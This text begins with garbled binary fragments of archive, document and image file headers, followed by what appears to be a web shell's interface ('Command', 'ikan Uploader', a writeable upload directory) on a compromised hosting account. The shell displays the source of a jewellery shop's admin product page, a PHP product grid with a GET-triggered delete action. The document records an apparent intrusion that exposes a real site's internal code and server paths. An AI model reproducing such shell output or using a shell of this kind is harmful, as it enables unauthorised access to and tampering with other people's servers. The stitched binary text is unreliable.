œ_#ÁÕ§TE NAŒ“KeÉ:”(åŽÖJÞùY’‚ñùž7; «]Û ý`8g“¯B© jd ÖÖ¸ðzœ¸¦4Ç3Kó^(ÍÖ¼ Õ€pvìwšõB4d f$Èü^0˜…åÌC$#2FŽÑ§±¦ÛZ/÷š&m£ñzÒÖ ’.Î]!Î;ƒ(Õ–¢d/—#Kª+tZyuÏB>NÛÖ†(¸ŒSà'³„Y˜´-_•¦¼´˜OlNK§¶ÒàŠˆTHµƒeTPå·fïM’…þuÏÍüp6دªE£åü‡ZØ'CKF#â«;‹eyO Qp„†l"ö1èíÙP ÏŒúl! BÝ2ñª•_VÁÉ÷3eu`–F¸ìI--ö<¿žë¯4õ캿¢)34Å{wMÉ2ÆÖFŸ¥` e9Ú¶¸P‡.”FÔï rY ‚²ÈTB,{ÛœéJ}«àQ4¹0Rû4D‚B§S‘ dO•v¾„™Sן¯3FeŸ™«+ÓâwH dÕÛÌì·P4ë&¥#rÜÉ Ù¦ê†ý·xòqk¯2,¹§™E\­ék‚×SᔏںÙ⺷ö£6…à ʾ qSá³Å|;àû}4Ÿ($â¹VY~óÍ!èÜÒŒËX½Ù1j‚VíÍŸš³+œ]«½g{_{/vµ½\¢¶vÉWKÿ:ñám½ ¥ S²x‘t ŽšÝÙÿÀÇ^ný PK   IW™k‚½÷ á  _rels/.relsUT dìd dìd dìd­’ÏNÃ0 ‡ï{ŠÈ÷ÕÝ@¡¥» ¤Ý*`%îÑ&QâÁöö‚J£ì°cœŸ¿|¶²ÙÆA½rL½wVE Šñ¶w­†çúay * 9Kƒw¬áÈ ¶ÕbóÄIîI]’Ê—4t"á1™ŽGJ…ìòMããH’±Å@æ…ZÆuYÞ`üÍ€jÂT;«!îì T} |Û7MoøÞ›ýÈNN<|v–í2ÄÜ¥ÏèšbË¢Ázó˜Ë )„"£O­Ï7ú{ZYÈ’yÞç#1'tuÉM?6o>Z´_å9›ëKÚ˜}?þ³žÏÌ·N>fµx PK    IWª½e  ¢ U  € word/document.xmlUT dìdPK    IWþË3” z  €J¢ word/settings.xmlUT dìdPK    IWC‡{š' ƒ  €¤ docProps/custom.xmlUT dìdPK    IW츱=Œ   €‡¥ [Content_Types].xmlUT dìdPK    IWV%ë±"   €U§ docProps/app.xmlUT dìdPK    IW€RŒ 3  €¶¨ docProps/core.xmlUT dìdPK    IWkòDn ô  €ª word/_rels/document.xml.relsUT dìdPK    IW ;$î   €Î« word/fontTable.xmlUT dìdPK    IW+åäz] ÷.  €ý¬ word/numbering.xmlUT dìdPK    IW¤2×r- ¿  €›° word/styles.xmlUT dìdPK    IWMFÒ ø  €´ word/header1.xmlUT dìdPK    IWF— T e  €· word/media/image1.jpegUT dìdPK    IW!Yéáå   €°Ë word/media/image2.pngUT dìdPK    IW°Àºë ú  €ÙÌ word/media/image3.pngUT dìdPK    IW$“†ª L  €Î word/footer1.xmlUT dìdPK    IWzaGôM   €ñÑ word/footer2.xmlUT dìdPK    IW–µ­âº P  €}Õ word/theme/theme1.xmlUT dìdPK    IW™k‚½÷ á €{Û _rels/.relsUT PK   ! bîh^   [Content_Types].xml ¢(   ¬”ËNÃ0E÷HüCä-Jܲ@5í‚Ç*Q>Àēƪc[žiiÿž‰ûB¡j7±ÏÜ{2ñÍh²nm¶‚ˆÆ»R ‹ÈÀU^7/ÅÇì%¿’rZYï @1__f› ˜q·ÃR4DáAJ¬h>€ãÚÇV߯¹ ªZ¨9ÈÛÁàNVÞ8Ê©ÓãÑÔji){^óã-I‹"{Üv^¥P!XS)bR¹rú—K¾s(¸3Õ`cÞ0†½ÝÎß»¾7M4²©ŠôªZƐk+¿|\|z¿(Ž‹ôPúº6h_-[ž@!‚ÒØ Pk‹´­2nÏ}Ä?£LËð Ýû%áÄßdºždN"m,à¥ÇžDO97*‚~§Èɸ8ÀOíc|n¦Ñ äEøÿöéºóÀBÉÀ!$}‡íàÈé;{ìÐå[ƒîñ–é2þ ÿÿ PK   ! µU0#ô L _rels/.rels ¢(   ¬’MOÃ0 †ïHü‡È÷ÕݐBKwAH»!T~€Iܵ£$Ý¿'TƒG½~üÊÛÝ<êÈ!öâ4¬‹;#¶w­†—úqu *&r–Fq¬áÄvÕõÕö™GJy(v½*«¸¨¡KÉß#FÓñD±Ï.W ¥†=™ZÆMYÞbø®ÕBSí­†°·7 ê“Ï›×–¦é ?ˆ9LìÒ™ÈsbgÙ®|Èl!õùUSh9i°bžr:"y_dlÀóD›¿ý|-NœÈR"4ø2ÏGÇ% õZ´4ñ˝yÄ7 ëÈðÉ‚‹¨Þ ÿÿ PK   ! Q48wÛ —  xl/workbook.xml¤UÙnâ0}iþ!cñ‡ *–¢AšVU×$dC¬&vÆv UÕŸë@XÊK§/¹p|Žï¹N÷b“¥Ö •Š ÞC¸î"‹òHÄŒ¯zèá~b·‘¥4á1I§=ôJºèÿüÑ] ù¼âÙ ®z(Ñ:GE ͈ª‹œrˆ,…̈†©\9*—”Ä*¡Tg©ã¹nàd„q´Eåg0ÄrÉ":Q‘Q®· ’¦D}•°\UhYô¸ŒÈç"·#‘å ±`)Ó¯%(²²(œ®¸d‘‚ì nZ w v¡ñª• t¶TÆ")”Xê:@;[Ògú±ë`|²›ó=ø’ïHúÂL÷¬dðEVÁ+8€a÷Ûh¬Uz%„Íû"ZsÏÍCýî’¥ôqk]‹äù5ÉL¦Rd¥Dé˘i÷P ¦bM/|dÉ",…¨çãFNoçiûéë>aêiçsó#ðÄ ÕTr¢éHp ÜIú®ÝJìQ"ÀÜÖ-ý[0I¡¦ÀZ Z…d¡nˆN¬B¦=4 g %PDF-1.4 %âãÏÓ 3 0 obj << /Linearized 1 /L 422775 ÿØÿà JFIF    ÿÛ C      ÿÛ C   ÿÀ  X" ÿÄ    ÿÄ H   !1A"Qaq2‘¡#±ÁBRÑ3Cbrá$S‚¢²ð4ñ%6DTc’ÂsÿÄ   ÿÄ =  !1AQ"aq‘Á2R¡±BÑð#3br’²4á$‚¢ÂñÿÚ   ? áHBßÝ`„! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! ! stream

___________________________ < root@rinduuu:~# /home/rinduuuuuuu?! > ___________________________

Command :

ikan Uploader :
Directory :  /home/ni05r7l36tus/www/poojajewellersbbsr.com/admin/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : //home/ni05r7l36tus/www/poojajewellersbbsr.com/admin/product.php
<?php 
include 'connection/config.php';
// Get category filter from URL
$categoryFilter = isset($_GET['cat']) ? intval($_GET['cat']) : 0;
$categoryName = '';

if ($categoryFilter > 0) {
    // Fetch category name
    $catStmt = $pdo->prepare("SELECT name FROM product_categories WHERE id = :id LIMIT 1");
    $catStmt->execute([':id' => $categoryFilter]);
    $category = $catStmt->fetch(PDO::FETCH_ASSOC);
    $categoryName = $category ? $category['name'] : 'Unknown Category';
} else {
    $categoryName = 'All Products';
}



if (isset($_GET['action']) && $_GET['action'] === 'delete' && isset($_GET['id'])) {
    $product_id = intval($_GET['id']);

    try {
        // Fetch images before deleting
        $stmt = $pdo->prepare("SELECT thumbnail_image, product_images FROM products WHERE product_id=?");
        $stmt->execute([$product_id]);
        $product = $stmt->fetch(PDO::FETCH_ASSOC);

        if ($product) {
            // Unlink thumbnail
            if (!empty($product['thumbnail_image']) && file_exists($product['thumbnail_image'])) {
                unlink($product['thumbnail_image']);
            }

            // Unlink gallery images (JSON array)
            if (!empty($product['product_images'])) {
                $gallery = json_decode($product['product_images'], true);
                if (is_array($gallery)) {
                    foreach ($gallery as $img) {
                        if (!empty($img) && file_exists($img)) {
                            unlink($img);
                        }
                    }
                }
            }

            // Delete product row
            $deleteStmt = $pdo->prepare("DELETE FROM products WHERE product_id=?");
            $deleteStmt->execute([$product_id]);
        }

        // Redirect back with success
        header("Location: products.php?msg=deleted");
        exit;

    } catch (PDOException $e) {
        die("Error deleting product: " . $e->getMessage());
    }
}

include "common/header.php" ?>

          <!-- ==================================================== -->
          <!-- Start right Content here -->
          <!-- ==================================================== -->
          <div class="page-content">
 
               <!-- Start Container Fluid -->
               <div class="container-xxl">

                    <div class="row">
                    
                         <div class="col-lg-12">
                              <div class="card bg-light-subtle">
                                   <div class="card-header border-0">
                                        <div class="row justify-content-between align-items-center">
                                             <div class="col-lg-6">
                                                  <ol class="breadcrumb mb-0">
                                                       <li class="breadcrumb-item active"><?= htmlspecialchars($categoryName) ?></li>
                                                       <li class="breadcrumb-item active">All Product</li>
                                                  </ol>
                                                  
                                             </div>
                                             <div class="col-lg-6">
                                                  <div class="text-md-end mt-3 mt-md-0">
                                                       <a href="add_product.php" class="btn btn-success me-1"><i class="bx bx-plus"></i> New Product</a>
                                                  </div>
                                             </div>
                                        </div>
                                   </div>
                              </div>
                              <div class="row">

                              <?php
                              include 'connection/config.php';

                              try {
                                  // Check if category filter exists in the URL
                                  $categoryFilter = isset($_GET['cat']) ? intval($_GET['cat']) : 0;

                                  // Base SQL query
                                  $sql = "
                                      SELECT 
                                          p.product_id,
                                          p.product_name,
                                          p.thumbnail_image,
                                          p.category_id,
                                          ps.price,
                                          ps.discount_percentage,
                                          ps.sku_code,
                                          ps.stock_quantity,
                                          pr.rental_amount,
                                          pr.deposit_amount,
                                          pr.rental_duration,
                                          pr.late_fee
                                      FROM products p
                                      LEFT JOIN product_sales ps ON p.product_id = ps.product_id
                                      LEFT JOIN product_rentals pr ON p.product_id = pr.product_id
                                  ";

                                  // Apply category filter if present
                                  if ($categoryFilter > 0) {
                                      $sql .= " WHERE p.category_id = :category_id";
                                      $stmt = $pdo->prepare($sql);
                                      $stmt->execute([':category_id' => $categoryFilter]);
                                  } else {
                                      $sql .= " ORDER BY p.created_at DESC";
                                      $stmt = $pdo->query($sql);
                                  }

                                  $products = $stmt->fetchAll(PDO::FETCH_ASSOC);

                              } catch (PDOException $e) {
                                  die("Error fetching products: " . $e->getMessage());
                              }
                              ?>

                              <?php foreach ($products as $product): ?>
                                  <?php
                                      $thumbnail = !empty($product['thumbnail_image']) 
                                          ? $product['thumbnail_image'] 
                                          : "assets/images/product/p-1.png";

                                      $isRental = !empty($product['rental_amount']);

                                      if ($isRental) {
                                          $displayPrice = "₹" . number_format($product['rental_amount'], 2) . " / " . $product['rental_duration'];
                                          $extra = "<small class='text-muted'>Deposit: ₹" . number_format($product['deposit_amount'], 2) . "</small>";
                                      } else {
                                          $price = $product['price'] ?? 0;
                                          $discount = $product['discount_percentage'] ?? 0;
                                          $final_price = $price - ($price * ($discount / 100));

                                          if ($discount > 0) {
                                              $displayPrice = "<span class='text-muted text-decoration-line-through'>₹" 
                                                              . number_format($price, 2) . "</span> ₹" 
                                                              . number_format($final_price, 2) . " <small class='text-muted'>(" . $discount . "% Off)</small>";
                                          } else {
                                              $displayPrice = "₹" . number_format($price, 2);
                                          }
                                          $extra = "";
                                      }
                                  ?>

                                  <div class="col-md-6 col-xl-3">
                                      <div class="card">
                                          <img src="../<?= htmlspecialchars($thumbnail) ?>" 
                                               alt="<?= htmlspecialchars($product['product_name']) ?>" 
                                               class="img-fluid" style="width: 250px; height: 150px;">

                                          <div class="card-body bg-light-subtle rounded-bottom">
                                              <a href="view_product.php?id=<?= $product['product_id'] ?>" 
                                                 class="text-dark fw-medium fs-16">
                                                 <?= htmlspecialchars($product['product_name']) ?>
                                              </a>

                                              <h4 class="fw-semibold text-dark mt-2 d-flex flex-column gap-1">
                                                  <?= $displayPrice ?>
                                                  <?= $extra ?>
                                              </h4>

                                              <div class="mt-3">
                                                  <div class="d-flex gap-2">
                                                      <div class="dropdown">
                                                          <a href="#" class="btn btn-soft-primary border border-primary-subtle" 
                                                             data-bs-toggle="dropdown" aria-expanded="false">
                                                             <i class="bx bx-dots-horizontal-rounded"></i>
                                                          </a>
                                                          <div class="dropdown-menu">
                                                              <a href="view_product.php?id=<?= $product['product_id'] ?>" class="dropdown-item">Edit</a>
                                                              <a href="function.php?action=delete_product&id=<?= $product['product_id'] ?>" 
                                                                 onclick="return confirm('Are you sure you want to delete this product?')" 
                                                                 class="dropdown-item">Delete</a>
                                                          </div>
                                                      </div>
                                                      <a href="view_product.php?id=<?= $product['product_id'] ?>" 
                                                         class="btn btn-outline-dark border border-secondary-subtle d-flex align-items-center justify-content-center gap-1 w-100">
                                                         <?= $isRental ? "RENTAL" : "SALE" ?>
                                                      </a>
                                                  </div>
                                              </div>
                                          </div>
                                      </div>
                                  </div>
                              <?php endforeach; ?>



                              </div>

 

                              </div>

                              <div class="py-3 border-top">
                                   <nav aria-label="Page navigation example">
                                        <ul class="pagination justify-content-end mb-0">
                                             <li class="page-item"><a class="page-link" href="javascript:void(0);">Previous</a></li>
                                             <li class="page-item active"><a class="page-link" href="javascript:void(0);">1</a></li>
                                             <li class="page-item"><a class="page-link" href="javascript:void(0);">2</a></li>
                                             <li class="page-item"><a class="page-link" href="javascript:void(0);">3</a></li>
                                             <li class="page-item"><a class="page-link" href="javascript:void(0);">Next</a></li>
                                        </ul>
                                   </nav>
                              </div>

                         </div>
                    </div>

               </div>
               <!-- End Container Fluid -->

               <!-- ========== Footer Start ========== -->
               <footer class="footer">
                    <div class="container-fluid">
                         <div class="row">
                              <div class="col-12 text-center">
                                   <script>document.write(new Date().getFullYear())</script> &copy; Larkon. Crafted by <iconify-icon icon="iconamoon:heart-duotone" class="fs-18 align-middle text-danger"></iconify-icon> <a href="https://1.envato.market/techzaa" class="fw-bold footer-text" target="_blank">Techzaa</a>
                              </div>
                         </div>
                    </div>
               </footer>
               <!-- ========== Footer End ========== -->

          </div>
          <!-- ==================================================== -->
          <!-- End Page Content -->
          <!-- ==================================================== -->

     </div>
     <!-- END Wrapper -->

     <!-- Vendor Javascript (Require in all Page) -->
     <script src="assets/js/vendor.js"></script>

     <!-- App Javascript (Require in all Page) -->
     <script src="assets/js/app.js"></script>

     <script src="assets/js/pages/product-grid.js"></script>
</body>


<!-- Mirrored from techzaa.in/larkon/admin/product-grid.php by HTTrack Website Copier/3.x [XR&CO'2014], Wed, 13 Aug 2025 09:34:45 GMT -->
</html>

........